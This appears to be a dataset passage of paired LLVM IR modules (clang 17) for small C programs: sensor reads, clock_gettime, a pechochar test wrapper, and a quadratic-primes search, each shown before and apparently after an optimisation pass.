%8 = call i64 @sread(i32 noundef %6, ptr noundef %7)
%9 = icmp eq i64 %8, 0
br i1 %9, label %10, label %18
10: ; preds = %0
%11 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%12 = load i32, ptr %11, align 4
%13 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 1
%14 = load i32, ptr %13, align 4
%15 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 2
%16 = load i32, ptr %15, align 4
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %12, i32 noundef %14, i32 noundef %16)
br label %20
18: ; preds = %0
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %20
20: ; preds = %18, %10
%21 = load i32, ptr %3, align 4
%22 = call i32 @sclose(i32 noundef %21)
%23 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %23, align 4
%24 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 1
store i32 0, ptr %24, align 4
%25 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 2
store i32 0, ptr %25, align 4
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%27 = call i32 @sopen_adc(i32 noundef 0, float noundef 1.000000e+00)
store i32 %27, ptr %3, align 4
%28 = load i32, ptr %3, align 4
%29 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%30 = call i64 @sread(i32 noundef %28, ptr noundef %29)
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %36
32: ; preds = %20
%33 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%34 = load i32, ptr %33, align 4
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %34)
br label %38
36: ; preds = %20
%37 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %38
38: ; preds = %36, %32
%39 = load i32, ptr %3, align 4
%40 = call i32 @sclose(i32 noundef %39)
%41 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %41, align 4
%42 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%43 = call i32 @sopen(i32 noundef 4)
store i32 %43, ptr %3, align 4
%44 = load i32, ptr %3, align 4
%45 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%46 = call i64 @sread(i32 noundef %44, ptr noundef %45)
%47 = icmp eq i64 %46, 0
br i1 %47, label %48, label %52
48: ; preds = %38
%49 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%50 = load i32, ptr %49, align 4
%51 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %50)
br label %54
52: ; preds = %38
%53 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %54
54: ; preds = %52, %48
%55 = load i32, ptr %3, align 4
%56 = call i32 @sclose(i32 noundef %55)
%57 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %57, align 4
%58 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
%59 = call i32 @sopen(i32 noundef 1)
store i32 %59, ptr %3, align 4
%60 = load i32, ptr %3, align 4
%61 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%62 = call i64 @sread(i32 noundef %60, ptr noundef %61)
%63 = icmp eq i64 %62, 0
br i1 %63, label %64, label %68
64: ; preds = %54
%65 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%66 = load i32, ptr %65, align 4
%67 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %66)
br label %70
68: ; preds = %54
%69 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %70
70: ; preds = %68, %64
%71 = load i32, ptr %3, align 4
%72 = call i32 @sclose(i32 noundef %71)
%73 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %73, align 4
%74 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
%75 = call i32 @sopen(i32 noundef 2)
store i32 %75, ptr %3, align 4
%76 = load i32, ptr %3, align 4
%77 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%78 = call i64 @sread(i32 noundef %76, ptr noundef %77)
%79 = icmp eq i64 %78, 0
br i1 %79, label %80, label %84
80: ; preds = %70
%81 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%82 = load i32, ptr %81, align 4
%83 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %82)
br label %86
84: ; preds = %70
%85 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %86
86: ; preds = %84, %80
%87 = load i32, ptr %3, align 4
%88 = call i32 @sclose(i32 noundef %87)
%89 = load i32, ptr %1, align 4
ret i32 %89
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @sopen(i32 noundef) #1
declare i64 @sread(i32 noundef, ptr noundef) #1
declare i32 @sclose(i32 noundef) #1
declare i32 @sopen_adc(i32 noundef, float noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpun0h4rb1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [16 x i8] c"Accelerometer:\0A\00", align 1
@.str.1 = private unnamed_addr constant [49 x i8] c"\09Read successful. Data received: %i, %i and %i\0A\0A\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"\09Read failed\0A\0A\00", align 1
@.str.3 = private unnamed_addr constant [6 x i8] c"ADC:\0A\00", align 1
@.str.4 = private unnamed_addr constant [38 x i8] c"\09Read successful. Data received: %i\0A\0A\00", align 1
@.str.5 = private unnamed_addr constant [16 x i8] c"Ambient light:\0A\00", align 1
@.str.6 = private unnamed_addr constant [14 x i8] c"Temperature:\0A\00", align 1
@.str.7 = private unnamed_addr constant [11 x i8] c"Humidity:\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [3 x i32], align 4
%3 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 -1, ptr %3, align 4
%4 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%5 = call i32 @sopen(i32 noundef 3)
store i32 %5, ptr %3, align 4
%6 = load i32, ptr %3, align 4
%7 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%8 = call i64 @sread(i32 noundef %6, ptr noundef %7)
%9 = icmp eq i64 %8, 0
br i1 %9, label %10, label %18
10: ; preds = %0
%11 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%12 = load i32, ptr %11, align 4
%13 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 1
%14 = load i32, ptr %13, align 4
%15 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 2
%16 = load i32, ptr %15, align 4
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %12, i32 noundef %14, i32 noundef %16)
br label %20
18: ; preds = %0
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %20
20: ; preds = %18, %10
%21 = load i32, ptr %3, align 4
%22 = call i32 @sclose(i32 noundef %21)
%23 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %23, align 4
%24 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 1
store i32 0, ptr %24, align 4
%25 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 2
store i32 0, ptr %25, align 4
%26 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%27 = call i32 @sopen_adc(i32 noundef 0, float noundef 1.000000e+00)
store i32 %27, ptr %3, align 4
%28 = load i32, ptr %3, align 4
%29 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%30 = call i64 @sread(i32 noundef %28, ptr noundef %29)
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %36
32: ; preds = %20
%33 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%34 = load i32, ptr %33, align 4
%35 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %34)
br label %38
36: ; preds = %20
%37 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %38
38: ; preds = %36, %32
%39 = load i32, ptr %3, align 4
%40 = call i32 @sclose(i32 noundef %39)
%41 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %41, align 4
%42 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%43 = call i32 @sopen(i32 noundef 4)
store i32 %43, ptr %3, align 4
%44 = load i32, ptr %3, align 4
%45 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%46 = call i64 @sread(i32 noundef %44, ptr noundef %45)
%47 = icmp eq i64 %46, 0
br i1 %47, label %48, label %52
48: ; preds = %38
%49 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%50 = load i32, ptr %49, align 4
%51 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %50)
br label %54
52: ; preds = %38
%53 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %54
54: ; preds = %52, %48
%55 = load i32, ptr %3, align 4
%56 = call i32 @sclose(i32 noundef %55)
%57 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %57, align 4
%58 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
%59 = call i32 @sopen(i32 noundef 1)
store i32 %59, ptr %3, align 4
%60 = load i32, ptr %3, align 4
%61 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%62 = call i64 @sread(i32 noundef %60, ptr noundef %61)
%63 = icmp eq i64 %62, 0
br i1 %63, label %64, label %68
64: ; preds = %54
%65 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%66 = load i32, ptr %65, align 4
%67 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %66)
br label %70
68: ; preds = %54
%69 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %70
70: ; preds = %68, %64
%71 = load i32, ptr %3, align 4
%72 = call i32 @sclose(i32 noundef %71)
%73 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
store i32 0, ptr %73, align 4
%74 = call i32 (ptr, ...) @printf(ptr noundef @.str.7)
%75 = call i32 @sopen(i32 noundef 2)
store i32 %75, ptr %3, align 4
%76 = load i32, ptr %3, align 4
%77 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%78 = call i64 @sread(i32 noundef %76, ptr noundef %77)
%79 = icmp eq i64 %78, 0
br i1 %79, label %80, label %84
80: ; preds = %70
%81 = getelementptr inbounds [3 x i32], ptr %2, i64 0, i64 0
%82 = load i32, ptr %81, align 4
%83 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %82)
br label %86
84: ; preds = %70
%85 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %86
86: ; preds = %84, %80
%87 = load i32, ptr %3, align 4
%88 = call i32 @sclose(i32 noundef %87)
%89 = load i32, ptr %1, align 4
ret i32 %89
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @sopen(i32 noundef) #1
declare i64 @sread(i32 noundef, ptr noundef) #1
declare i32 @sclose(i32 noundef) #1
declare i32 @sopen_adc(i32 noundef, float noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp2j3e5rrm.c'
source_filename = "/tmp/tmp2j3e5rrm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timespec = type { i32 }
@CLOCK_REALTIME = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca %struct.timespec, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%7 = load i32, ptr @CLOCK_REALTIME, align 4
%8 = call i32 @clock_gettime(i32 noundef %7, ptr noundef %6)
ret i32 %8
}
declare i32 @clock_gettime(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp2j3e5rrm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timespec = type { i32 }
@CLOCK_REALTIME = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca %struct.timespec, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%7 = load i32, ptr @CLOCK_REALTIME, align 4
%8 = call i32 @clock_gettime(i32 noundef %7, ptr noundef %6)
ret i32 %8
}
declare i32 @clock_gettime(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp122yvkps.c'
source_filename = "/tmp/tmp122yvkps.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%p\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"BAD ARGUMENT\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_pechochar(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%7 = load i32, ptr %3, align 4
%8 = call i32 @check_arg_count(i32 noundef %7, i32 noundef 2)
%9 = icmp eq i32 %8, 1
br i1 %9, label %10, label %11
10: ; preds = %2
br label %35
11: ; preds = %2
%12 = load ptr, ptr %4, align 8
%13 = getelementptr inbounds ptr, ptr %12, i64 0
%14 = load ptr, ptr %13, align 8
%15 = call i64 @sscanf(ptr noundef %14, ptr noundef @.str, ptr noundef %6)
%16 = icmp eq i64 %15, 0
br i1 %16, label %17, label %20
17: ; preds = %11
%18 = call i32 @report_count(i32 noundef 1)
%19 = call i32 @report_error(ptr noundef @.str.1)
br label %35
20: ; preds = %11
%21 = load ptr, ptr %4, align 8
%22 = getelementptr inbounds ptr, ptr %21, i64 1
%23 = load ptr, ptr %22, align 8
%24 = call i64 @sscanf(ptr noundef %23, ptr noundef @.str.2, ptr noundef %5)
%25 = icmp eq i64 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %20
%27 = call i32 @report_count(i32 noundef 1)
%28 = call i32 @report_error(ptr noundef @.str.1)
br label %35
29: ; preds = %20
%30 = call i32 @report_count(i32 noundef 1)
%31 = load ptr, ptr %6, align 8
%32 = load i32, ptr %5, align 4
%33 = call i32 @pechochar(ptr noundef %31, i32 noundef %32)
%34 = call i32 @report_return(i32 noundef %33)
br label %35
35: ; preds = %29, %26, %17, %10
ret void
}
declare i32 @check_arg_count(i32 noundef, i32 noundef) #1
declare i64 @sscanf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @report_count(i32 noundef) #1
declare i32 @report_error(ptr noundef) #1
declare i32 @report_return(i32 noundef) #1
declare i32 @pechochar(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp122yvkps.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%p\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"BAD ARGUMENT\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_pechochar(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%7 = load i32, ptr %3, align 4
%8 = call i32 @check_arg_count(i32 noundef %7, i32 noundef 2)
%9 = icmp eq i32 %8, 1
br i1 %9, label %10, label %11
10: ; preds = %2
br label %35
11: ; preds = %2
%12 = load ptr, ptr %4, align 8
%13 = getelementptr inbounds ptr, ptr %12, i64 0
%14 = load ptr, ptr %13, align 8
%15 = call i64 @sscanf(ptr noundef %14, ptr noundef @.str, ptr noundef %6)
%16 = icmp eq i64 %15, 0
br i1 %16, label %17, label %20
17: ; preds = %11
%18 = call i32 @report_count(i32 noundef 1)
%19 = call i32 @report_error(ptr noundef @.str.1)
br label %35
20: ; preds = %11
%21 = load ptr, ptr %4, align 8
%22 = getelementptr inbounds ptr, ptr %21, i64 1
%23 = load ptr, ptr %22, align 8
%24 = call i64 @sscanf(ptr noundef %23, ptr noundef @.str.2, ptr noundef %5)
%25 = icmp eq i64 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %20
%27 = call i32 @report_count(i32 noundef 1)
%28 = call i32 @report_error(ptr noundef @.str.1)
br label %35
29: ; preds = %20
%30 = call i32 @report_count(i32 noundef 1)
%31 = load ptr, ptr %6, align 8
%32 = load i32, ptr %5, align 4
%33 = call i32 @pechochar(ptr noundef %31, i32 noundef %32)
%34 = call i32 @report_return(i32 noundef %33)
br label %35
35: ; preds = %29, %26, %17, %10
ret void
}
declare i32 @check_arg_count(i32 noundef, i32 noundef) #1
declare i64 @sscanf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @report_count(i32 noundef) #1
declare i32 @report_error(ptr noundef) #1
declare i32 @report_return(i32 noundef) #1
declare i32 @pechochar(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbeh3reqa.c'
source_filename = "/tmp/tmpbeh3reqa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%i\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
store i32 0, ptr %7, align 4
store i32 0, ptr %8, align 4
store i32 -999, ptr %9, align 4
br label %13
13: ; preds = %51, %2
%14 = load i32, ptr %9, align 4
%15 = icmp slt i32 %14, 1000
br i1 %15, label %16, label %54
16: ; preds = %13
store i32 2, ptr %10, align 4
br label %17
17: ; preds = %47, %16
%18 = load i32, ptr %10, align 4
%19 = icmp slt i32 %18, 1000
br i1 %19, label %20, label %50
20: ; preds = %17
store i32 0, ptr %11, align 4
br label %21
21: ; preds = %20, %35
%22 = load i32, ptr %11, align 4
%23 = load i32, ptr %11, align 4
%24 = mul nsw i32 %22, %23
%25 = load i32, ptr %9, align 4
%26 = load i32, ptr %11, align 4
%27 = mul nsw i32 %25, %26
%28 = add nsw i32 %24, %27
%29 = load i32, ptr %10, align 4
%30 = add nsw i32 %28, %29
store i32 %30, ptr %12, align 4
%31 = load i32, ptr %12, align 4
%32 = call i32 @is_prime(i32 noundef %31)
%33 = icmp ne i32 %32, 0
br i1 %33, label %35, label %34
34: ; preds = %21
br label %38
35: ; preds = %21
%36 = load i32, ptr %11, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %11, align 4
br label %21
38: ; preds = %34
%39 = load i32, ptr %11, align 4
%40 = load i32, ptr %6, align 4
%41 = icmp sgt i32 %39, %40
br i1 %41, label %42, label %46
42: ; preds = %38
%43 = load i32, ptr %11, align 4
store i32 %43, ptr %6, align 4
%44 = load i32, ptr %9, align 4
store i32 %44, ptr %7, align 4
%45 = load i32, ptr %10, align 4
store i32 %45, ptr %8, align 4
br label %46
46: ; preds = %42, %38
br label %47
47: ; preds = %46
%48 = load i32, ptr %10, align 4
%49 = add nsw i32 %48, 1
store i32 %49, ptr %10, align 4
br label %17, !llvm.loop !6
50: ; preds = %17
br label %51
51: ; preds = %50
%52 = load i32, ptr %9, align 4
%53 = add nsw i32 %52, 1
store i32 %53, ptr %9, align 4
br label %13, !llvm.loop !8
54: ; preds = %13
%55 = load i32, ptr %7, align 4
%56 = load i32, ptr %8, align 4
%57 = mul nsw i32 %55, %56
%58 = call i32 @printf(ptr noundef @.str, i32 noundef %57)
ret i32 0
}
declare i32 @is_prime(i32 noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbeh3reqa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%i\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
store i32 0, ptr %7, align 4
store i32 0, ptr %8, align 4
store i32 -999, ptr %9, align 4
%13 = load i32, ptr %9, align 4
%14 = icmp slt i32 %13, 1000
br i1 %14, label %.lr.ph5, label %67
.lr.ph5: ; preds = %2
br label %15
15: ; preds = %.lr.ph5, %62
store i32 2, ptr %10, align 4
%16 = load i32, ptr %10, align 4
%17 = icmp slt i32 %16, 1000
br i1 %17, label %.lr.ph2, label %61
.lr.ph2: ; preds = %15
br label %18
18: ; preds = %.lr.ph2, %56
store i32 0, ptr %11, align 4
%19 = load i32, ptr %11, align 4
%20 = load i32, ptr %11, align 4
%21 = mul nsw i32 %19, %20
%22 = load i32, ptr %9, align 4
%23 = load i32, ptr %11, align 4
%24 = mul nsw i32 %22, %23
%25 = add nsw i32 %21, %24
%26 = load i32, ptr %10, align 4
%27 = add nsw i32 %25, %26
store i32 %27, ptr %12, align 4
%28 = load i32, ptr %12, align 4
%29 = call i32 @is_prime(i32 noundef %28)
%30 = icmp ne i32 %29, 0
br i1 %30, label %.lr.ph, label %31
.lr.ph: ; preds = %18
br label %32
._crit_edge: ; preds = %32
br label %31
31: ; preds = %._crit_edge, %18
br label %47
32: ; preds = %.lr.ph, %32
%33 = load i32, ptr %11, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %11, align 4
%35 = load i32, ptr %11, align 4
%36 = load i32, ptr %11, align 4
%37 = mul nsw i32 %35, %36
%38 = load i32, ptr %9, align 4
%39 = load i32, ptr %11, align 4
%40 = mul nsw i32 %38, %39
